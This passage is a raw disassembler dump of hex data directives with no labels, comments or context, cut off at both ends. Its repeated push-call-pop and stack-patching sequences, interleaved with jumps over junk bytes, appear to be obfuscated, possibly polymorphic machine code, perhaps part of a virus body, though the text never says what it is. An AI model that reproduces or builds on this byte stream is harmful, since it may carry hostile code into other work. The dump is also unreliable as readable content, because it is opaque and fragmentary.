7BE97D43h, 0E800000Eh, 0 aBas db ']í',0 db 10h, 6, 0E9h dd 7, 0B079599Fh, 6A91FAF9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0B8AEC352h, 0CD98D89h dd 858D060Bh, 60E9293h, 0DF8B50F8h, 89240489h, 0B166D85h dd 35FF6406h, 0 dd 2F41BD89h, 8964060Bh, 25h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0DF749EF1h dd 0A67011E0h, 229BD0Bh, 85FF060Bh, 60B066Dh, 6AD88B66h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0BF12FC17h, 4FBCBB4Ah, 800F35C0h, 6, 5799D0Bh dd 0B5FF060Bh, 60B0FD5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 3DC35141h, 0BF217022h, 0DCDB6E6h, 29F59D8Bh dd 95FF060Bh, 60B2411h, 118E9h, 0C59D2900h, 0B0060B28h dd 2BBF6600h, 0D99D09BDh, 0E6060B29h, 0EE870h, 8D530000h dd 19FD3F59h, 0C72B3BB6h, 606A9178h, 0F98D8B60h, 0F060B02h dd 5F61CFBFh, 613C71E4h, 0DB830Fh, 0D5BB0000h, 0F33BF8Fh dd 0B70FC8B6h, 6BAF8h, 0B5890000h, 60B244Dh, 13E9C18Bh dd 12000000h, 4B5C0429h, 0F0DB92C3h, 39B10DB2h, 0B3B0D307h dd 0E8C129DFh, 7E904h, 0F63A0000h, 8FD7DE8Dh, 0E2F7664Ah dd 9D09C82Bh, 60B050Dh, 8B66D18Bh, 87E9DFh, 13E90000h dd 20000000h, 0F71171DCh, 0F48C641Ch, 0FB6B08D4h, 74A41BC4h dd 858B2A9Dh, 44004E49h, 1B8FCF81h, 0C08301CFh, 7E907h dd 21700000h, 0E95150BEh, 0C083C3h, 3BBFCB80h, 9830FD0h dd 60000000h, 0E961D88Bh, 3Dh, 0FFFF8D8Bh, 860FFFFFh, 6 dd 1505BD8Bh, 0E183060Bh, 22840F01h, 89000000h, 0B2B3595h dd 0FFA58306h, 0FEFFFFFFh, 2E59BD8Bh, 9589060Bh, 44004E49h dd 740ABF66h, 0E9h, 25B58D00h, 1060F7Eh, 0B0DCDBDh, 66006A06h dd 0F921E781h, 32DD95FFh, 9D89060Bh, 60B0F51h, 1054B9h dd 0FCE18300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 18C35646h, 2FDB7FD8h, 602617A5h, 13158D8Bh, 8961060Bh dd 0B2F099Dh, 6AFC06h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 783869C3h, 22A99D8Bh, 0F98B060Bh dd 9589C02Bh, 60B1B55h, 0BAh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DBE3E7E8h dd 8B6D62C3h, 0B22A1BDh, 0C233AD06h, 0D003E8D1h, 7504E983h dd 0FAF381F4h, 3635D8Bh, 0B03D5BDh, 880D06h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A18243C3h, 810F392Ah, 6, 2779B589h, 958B060Bh, 60B174Dh dd 26D9BD23h, 8D8B060Bh, 60B0119h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 99C35242h, 0E2251AE7h, 9D8B0AFEh dd 60B2175h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 884B33C3h, 4800Fh, 0BB660000h, 6A6BE7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0F89CCAC3h, 0BF0F727Eh, 0E9BD2BDBh, 83060B00h, 0B29BDBDh dd 840F0006h, 0ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 87C35242h, 0D650C75h, 111E629Ah, 0B8A6h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 8B6602C3h, 0D78D8DFEh, 6A060B4Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 3F67C355h, 52E578FBh, 6060BF36h, 8E0Fh, 0E8810000h dd 0EFFC08Ah, 850F6161h, 3, 0E8FEB70Fh, 0Eh, 9CF85A6Bh dd 1EAC7286h, 172320BBh, 0F3816C84h, 25E37652h, 0FE1FF5Fh dd 8Eh, 9BD8300h, 60B10h, 4B4840Fh, 0FF90000h, 0BD83DFB7h dd 60B1009h, 0BE840F01h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E8AFC350h dd 2AE38166h, 9BD83C9h, 3060B10h, 459860Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 331C3DC3h, 0B2935BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0F89873C3h, 0D258EE4Ah dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0AD81C351h, 36AEF9BCh, 816603A3h dd 804E72D7h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 5BE4A7C3h, 1A85BD89h, 0C90A060Bh dd 13B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 8E44FAC3h, 98E090CFh, 858B24DFh dd 60B317Dh, 85335B56h, 60B06EDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 60C35040h, 0EF1CF025h, 4173E162h dd 698D8960h, 89060B13h, 0B1A0995h, 50906106h, 9E852h dd 0F5D70000h, 0F53628ADh, 520001C6h, 310F5B5Bh, 5325BF66h dd 5750585Ah, 905B5F56h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 67C4F7C3h, 0D98AD4AEh dd 35BD89E8h, 68060B09h, 29D0F1B1h, 12E8h, 8F172400h, 7662828Ah dd 0FED33537h, 1FE9E589h, 0E8B0D299h, 11h, 0FBA50BDDh dd 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 8A0FB6h, 5B000000h dd 2434815Fh, 29CFF24Eh, 66D9BF0Fh, 0FF1331BBh, 0B03D195h dd 0FFB70F06h, 0A81D8589h, 6A060Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E32C66C3h dd 38FDEC8Eh, 0CB81662Ch, 0EAE9E2B7h, 89000001h, 0B0139B5h dd 15858B06h, 66060EA8h, 7086C781h, 1800C7h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0FB9FAC3h, 187h, 0B58BF900h, 60EA819h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D0C35747h, 7A8F87C7h dd 0B8DC5998h, 68B0F27h, 29000000h, 0B2AAD95h, 0E1858B06h dd 6A060B06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0EFAFC353h, 3EAA87Fh, 0B0E69BDh dd 0F068906h, 689h, 35958900h, 8B060B20h, 0B317D85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 895A55F1h, 0B2AE1BDh, 11850106h, 89060B19h, 6A0446h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 33AD8EC3h, 97D6F9D4h, 8198589h, 6051060Bh, 7E9EB8Ah dd 78000000h, 0E56EDFC2h, 5F61FCC8h, 0D08B6096h, 4870Fh dd 0BB660000h, 506119E7h, 86DCBB66h, 52006A96h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 1AAB0AD7h dd 0B5FF12A1h, 60EA815h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 84C35747h, 4E8276Bh, 0FF000000h, 0BB001F03h dd 78853F77h, 24448B50h, 8BF98A04h, 87BF6600h, 244489C7h dd 0F88B6604h, 50006A58h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B2993FD5h, 0F20C8C7Ch dd 1D858DFCh, 90060EA8h, 0FA8B6652h dd 10E8505Bh, 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh dd 66F992C9h, 5F59D1BFh, 0D195FF90h, 8B060B03h, 0BD0B61FBh dd 60B2B59h, 100985C7h, 3060Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C2B1D4C3h dd 874DF11Eh, 2B91BFD5h, 8960793Ch, 0B2819BDh, 85850B06h dd 61060B09h, 0A81DBD83h, 0F00060Eh, 4684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0D3816C14h, 18092C28h, 39E9h, 188A0F00h, 0E9000000h dd 13h, 5F92BFAAh, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 509137F2h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 90EF3AC3h, 6684ACC0h, 0E27FC381h, 1009BD83h dd 0F03060Bh, 4B785h, 1DBD8300h, 60EA8h, 4AA840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 64116CC3h, 31B7BB23h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FFA8DAC3h dd 69A9BE38h, 0BD8951F9h, 60B2445h, 338DBD8Bh, 95FF060Bh dd 60B083Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 23C35747h, 36755144h, 8B19C8F8h, 6E956h, 0E6980000h dd 67661CD9h, 0A811B58Bh, 6C7060Eh, 10001h, 31299589h dd 5350060Bh, 3830Fh, 8B660000h, 34895BF9h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BDD428Ch, 0B271DBDh, 0E5B58906h, 0FF060B02h, 0EA81DB5h dd 9E806h, 0A6E40000h, 0A800A606h, 0FC62D85h, 68Bh, 0B5BD0B00h dd 5B060B04h, 64195FFh, 0D98B060Bh, 0A811B58Bh, 960060Eh dd 0B1AC59Dh, 14E906h, 51E90000h, 60F58060h, 0FFDEA504h dd 0E4A9035Eh, 0E9AEE235h, 8B6120D2h, 0B121D85h, 0ACF8006h dd 0C48689h, 0C6BB0000h, 0E8256F66h, 8, 0BD0E609Fh, 667F4DF9h dd 0B553BF66h, 4D958B5Bh, 6A060B17h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 5ACDC357h dd 570D500Ah, 8B663866h, 0DAB70FD9h, 6A04C283h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0EF25C352h, 66205089h, 858DD98Bh, 60EBAEEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 35C35141h, 54B1EE95h dd 0E261C565h, 0D7816622h, 9D8B45E6h, 60B13E1h, 0B88689h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 3EF097C3h, 29DDBD8Bh, 9D23060Bh, 60B1815h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0B5073BC3h, 339D9D0Bh, 8B66060Bh, 1DB5FFF8h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D8E5C355h, 2060B142h, 6E95Eh dd 39A50000h, 0C76CE2D3h, 0F1595FFh, 0B589060Bh, 60B32B9h dd 0DE8B6696h, 0EE96050h, 0B0000000h, 59B3CA29h, 527617B5h dd 9BEA95A9h, 0E9966180h, 0Bh, 4A2D81FBh, 48E5EE81h, 0F0FFDADh dd 84h, 1DB5FF00h, 0BB060EA8h, 79B5E5D1h, 6E78166h, 0F595FFF0h dd 6A060B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0FA35C352h, 800534A5h, 66DDE8E0h dd 0BD83F88Bh, 60B2191h, 47840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0C5FFC351h, 2729BD8Bh, 8B96060Bh, 0AABB50DAh, 9652C870h dd 13E9h, 7456B500h, 3D422C97h, 2A5613F3h, 67B69D28h, 0CD2E5F20h dd 0B5FFAFB7h, 60EA81Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0F2C35040h, 8B66C5D1h, 0F5BD8BF9h, 0FF060B14h dd 0B128195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0AEE13742h, 0F45466Eh, 68Dh, 1D958900h dd 3060B0Fh, 0B1771BDh, 1DB5FF06h, 6A060EA8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 7EC5C355h, 665396B5h, 0BF66F98Bh, 95FFEA50h, 60B0B8Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EBC35646h dd 2419AB1Fh, 9D8B6E53h, 60B1021h, 0B95BD8Bh, 0BD83060Bh dd 60B17F1h, 91840F02h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B57DC357h dd 0C0BB7ED3h, 0BE9E1E1h, 0A2000000h, 0D0FD14BAh, 871FB789h dd 858B2997h, 60B2EC5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 69C35040h, 8F4953D5h, 0F0AB18Ch, 0C6DBB7h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 1E4E0A60h, 0AC5A3765h, 68D0Fh, 8D290000h dd 60B0CD9h, 6B985C7h, 60Bh, 0B5890000h, 60B0965h, 0FFF23EE9h dd 91B589FFh, 8B060B0Eh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 858D7777h, 60B28A9h, 810Fh dd 50500000h, 0F46B352h, 89585A31h, 8A0F2404h, 2, 6AF88Ah dd 6E9h, 0DF5B4E00h, 6A611F01h, 1A810F00h, 0E8000000h dd 0Eh, 414CB8EBh, 2E607F77h, 0A67D2C48h, 8D898E8Dh, 60B2D89h dd 94858D5Bh, 6A061010h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 535DC351h, 7E8h, 5F3EB700h dd 0B5B9AFCh, 835F5F50h, 8E805C0h, 5D000000h, 0AF3C5C47h dd 0E97AD82Dh, 6, 0DD7E1DE3h, 905B3515h, 0B13BBF57h, 505F5453h dd 23C7BF66h, 6DBD8B90h, 6A060B22h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 6AD7C5EBh dd 3870F00h, 66000000h, 850FDF8Bh, 6, 100D8589h, 95FF060Bh dd 60B2F21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 55C35747h, 0A8C0FFEh, 0E9000000h, 5, 95D3DA3Fh dd 0B08D8D9Ch, 6A060EA7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0FFDCC355h, 619589D1h dd 83060B27h, 0B0B19BDh, 850F0106h, 34h, 17CD9D89h, 26A060Bh dd 90DE8B66h, 0E950DE8Ah, 13h, 0D37EBBFCh, 0AE768BF9h dd 648C7435h, 577173Ch, 90E90BA1h, 1599BD29h, 95FF060Bh dd 60B0F15h, 0E66E9h, 0E800h, 815D0000h, 10109EEDh, 0D19D3106h dd 6A060B2Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 8459C357h, 0E78166BEh, 858D6860h dd 60E9293h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0D0C35141h, 90A55E49h, 0DD4941E6h, 0F81B786h, 0F50F9BFh dd 585h, 9072BB00h, 4893989h, 0FA8B6624h, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0BB6BC357h, 89AE3DBFh, 0B08D58Dh, 25896406h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 58C35040h dd 858965E8h, 60B0011h, 66D85FFh, 8B66060Bh, 0BFFF6ADAh dd 0DA777ADh, 0DA5B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 8CA6BAC3h, 7195463Eh dd 9529C8C8h, 60B0415h, 241195FFh, 0E9060Bh, 0F000001h dd 68Ah, 840F00h, 0B0000000h, 29BD0300h, 0E6060B02h, 8DBD8B70h dd 0E4060B18h, 0F9BD8B71h, 3C060B00h, 0D4830F61h, 8B000000h dd 0C8B60FFBh, 5219D09h, 0B589060Bh, 60B2AADh, 6BAh, 759D8B00h dd 8B060B10h, 0CCC780C1h, 0FC04E8C1h, 0E2F766F8h, 0FC8FABBh dd 0DE9530Fh, 0E7000000h, 0A6D9C003h, 31F21421h, 9A29E047h dd 0BFC82B5Bh, 59A79F99h, 8A0FD18Bh, 3, 0E9F2F780h, 7Bh dd 38D0Fh, 8B660000h, 4C858BDFh, 8B505F4Ch, 7C083FBh, 0DDD9529h dd 0C083060Bh, 0EDBD8900h, 3B060B2Eh, 10830FD0h, 0BB000000h dd 2E5E8343h, 46E9h, 3D9D2B00h, 8B060B16h, 0FFFFFF8Dh dd 9D9D8BFFh, 83060B06h, 840F01E1h, 2Bh, 0FFFFA583h, 0E8FEFFFFh dd 0Dh, 87898024h, 5DED00D1h, 9EACF2F1h, 71953149h, 5B060B15h dd 4C4C9589h, 0E9505Fh, 8D000000h, 0F8E79B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 3188BA2Eh, 0B3301BDh, 71BD8B06h, 6A060B28h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 4FEF7F0Ch, 6784F0BDh, 127D9D89h, 95FF060Bh, 60B32DDh dd 0B9E1CB80h, 1075h, 29A18D31h, 0E183060Bh, 69B589FCh dd 0FC060B11h, 41B50160h, 66060B0Fh, 61EF10B8h, 0B8FB8B66h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 56C35040h dd 0DF8B5028h, 759D2B5Bh, 0BA060B13h, 0 dd 0AD17D780h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 7143C356h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 41C35141h, 99EE8D86h, 89CE8033h, 0B0531B5h, 880D06h dd 81660000h, 0FE251EBh, 1587h, 9E800h, 0CC820000h, 0AABB58FDh dd 811D6B6Ah, 7DED36DFh, 958B5F45h, 60B174Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 36C35343h, 0FF90E64h dd 8D8BDAB7h, 60B0119h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0F2C35040h, 2449B589h, 0CB81060Bh, 76407ADCh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 13E95818h dd 0DF000000h, 0C51A07FAh, 29079FA0h, 85F945A7h, 0B3B601E4h dd 0BD8B9505h, 60B30E5h, 29BDBD83h, 0F00060Bh, 0A284h dd 11E86000h, 0A0000000h, 2E6C1BCCh, 21CA87DCh, 93693310h dd 0FB1F3BBAh, 20E5BD01h, 895B060Bh, 0B20259Dh, 0D3816106h dd 313282B7h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0FEB64227h, 0CFDF8166h dd 0D78D8D22h, 66060B4Dh, 0A5C0DF81h, 6850Fh, 0BD8B0000h dd 60B0DC1h, 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 9F6C9AC3h, 0C88E2773h, 0FF5D4DFh dd 489h, 4DB75100h, 0C99D8B5Bh, 83060B29h, 0B1009BDh, 840F0006h dd 4DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 48C35646h, 8166DDF2h, 0F95A6CF7h, 134D9D8Bh, 0BD83060Bh dd 60B1009h, 0C1840F01h, 89000004h, 0B20F585h, 0DF8B6606h dd 1009BD83h, 0F03060Bh, 47586h, 9C06BF00h, 6A605BB1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0D704C357h, 0A1C1CFA5h, 0DEB70FAFh, 6AD98C66h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 1F79C350h, 26F0AF29h, 0E9FF1914h, 5, 133577C7h dd 4E180B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 2DC35646h, 5D3C0A1Eh, 89DBB90Ah, 0B0AD58Dh, 0FC90A06h dd 11A84h, 7E900h, 0B4A70000h, 0BC2D8BAEh, 11958979h, 8B060B09h dd 0B317D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0F5CB3FF7h, 66F20339h, 9589FE8Bh dd 60B2F35h, 6ED8533h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 88F9BEC3h, 7C28C3A9h dd 1C1EBB50h, 48937E9h, 44D38124h, 6A049B5Bh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 234A3755h, 91BC8581h, 8E9C6h, 1FCF0000h, 4969592Fh dd 0A8683535h, 53D092A1h, 815FD98Bh, 62572404h, 6A2F8Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0FFE3F8C3h, 0B03D195h, 0CDBD8B06h, 89060B19h, 0EA81D85h dd 13E906h, 0BBA30000h, 0A5766037h, 3E6F9F78h, 0D27B6747h dd 3F409BAAh, 253E99Ah, 7E80000h, 36000000h, 0BEC6C8CFh dd 0BF668E2Fh, 8B5BE204h, 0EA81585h, 0C7FB8B06h, 1800h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 85D1327Ah, 5FB73C4Ch, 0A819B58Bh, 0BD8B060Eh dd 60B31A1h, 6E1858Bh, 9589060Bh, 60B06F1h, 6A0689h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 5845E4C3h, 7D858B73h, 6A060B31h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0EC34C352h dd 0D8456483h, 299D2322h, 89060B02h, 6A0446h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 35171AC3h dd 38B032B3h, 8B5660E9h, 0B1745B5h, 59525E06h, 40BB5061h dd 892409A6h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 654EF3C3h, 14CB4027h, 8F0F916Ch dd 0Eh, 8F0F60h, 8B000000h, 0B1BA1B5h, 89606106h, 0B177D95h dd 97F18106h, 61638476h, 0A815B5FFh, 0CE9060Eh, 0EE000000h dd 0AEC7B193h, 71642F74h, 0F2E23E9h, 1F8Ch, 13E800h, 90160000h dd 0C7E8AA01h, 9A57912Fh, 1C2B3264h, 71D24058h, 19BD8B8Fh dd 5B060B0Dh, 3D1DFA68h, 81FE8AC6h, 0E6052404h, 6A39E1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0F9581BC3h, 0A81D858Dh, 6A060Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 8F98B0C3h dd 0C6EAAE65h, 9D89F448h, 60B29F1h, 10E9h, 311A5B00h, 547F0BFFh dd 273C141Bh, 0B600B4F1h, 0C9D380ACh, 9E890h, 0DE690000h dd 431D261Bh, 5710414Fh, 5FDF8B66h, 0BB66505Fh, 6A901256h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 11EEC350h, 5BD03FD6h, 12B9BD89h, 95FF060Bh dd 60B03D1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0ECC35141h, 0A67F8D51h, 8B66BEBFh, 68D0FFBh, 81000000h dd 27490DEFh, 0BF666139h, 85C7BF3Dh, 60B1009h, 3, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D0C35545h, 0A5EF8056h dd 8D01F95Bh, 60B0EB5h, 0A81DBD83h, 0F00060Eh, 4584h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 24CC3B11h, 0D8771464h, 0CE8h, 5AC35300h, 86DEDAA0h dd 0A8CCFFDCh, 0E7816691h, 0E95FA5C7h, 21h, 3271BD23h dd 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 346AED67h, 1DB4AC10h, 0BD8B9619h dd 60B1505h, 0CDBD0960h, 61060B02h, 9E9h, 999E7C00h, 0BBFAEB43h dd 820F3D8Ch, 6, 328D8D31h, 0D88B060Bh, 1009BD83h, 0F03060Bh dd 42E85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 72DE6E36h, 0DF816657h, 835FB0F1h dd 0EA81DBDh, 840F0006h, 3FBh, 8B19D8Bh, 0B5FF060Bh, 60EA81Dh dd 10219D0Bh, 95FF060Bh, 60B083Dh, 12E9F8h, 38760000h dd 3D2C08FFh, 0A296E20Dh, 40ACBC2Ah, 0B54E4366h, 0A811B58Bh dd 8B66060Eh, 106C7FAh, 66000100h, 96AF9DBBh, 5050FA8Bh dd 2820F52h, 60000000h, 5A310F61h, 810F9658h, 26h, 0FE8h dd 0B9EE6D00h, 14B63847h, 0E3717E69h, 4196037Dh, 0CE9h dd 0CF328000h, 0FB95F014h, 2A0D75DEh, 0B5FF5B7Dh, 60EA81Dh dd 33819D8Bh, 95FF060Bh, 60B0641h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 70C35545h, 0BD89427Dh, 60B0515h dd 28B0F50h, 60000000h, 0B58B5B61h, 60EA811h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3EC35242h, 0B748616Bh dd 8E86Ah, 380D0000h, 15D4BF5Ch, 5FF855A6h, 121D858Bh dd 0BB66060Bh, 8689F719h, 0C4h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 5C35141h, 78152E57h, 5DD2EEFh dd 8509609Fh, 60B00B9h, 97D8D89h, 8B61060Bh, 0B174D95h dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0B2C35040h, 0BF66B9C9h, 5089CB81h, 0D59D0920h dd 8B060B28h, 0B06E9BDh, 0EE858D06h, 29060EBAh, 0B2AD9BDh dd 0B8868906h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E8C3C357h, 6, 65A70902h dd 6A5F9076h, 0BCBB6600h, 1DB5FF92h, 80060EA8h, 95FF55DFh dd 60B0F15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 16C35646h, 280A42F3h, 78FCA7Dh, 0BB6650D9h, 34892822h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 11EB8075h, 0A81DB5FFh, 820F060Eh, 6, 2E659D0Bh dd 8166060Bh, 0FF10F8E3h, 0B00F595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0E9707A37h dd 2DE99D23h, 0BD83060Bh, 60B2191h, 64840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0C09EC357h, 19059D29h, 8166060Bh, 96DFE9C7h dd 0C169BB66h, 9605B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0D4C35242h, 0E8CB253Dh, 0Ah, 5382F52Ah dd 967DDCCCh, 0BB664D4Bh, 0FF5B98E6h, 0EA81DB5h, 0DFB70F06h dd 128195FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 424F6EC3h, 0FA9815CEh, 8B6A242Ah dd 0B15F99Dh, 1DB5FF06h, 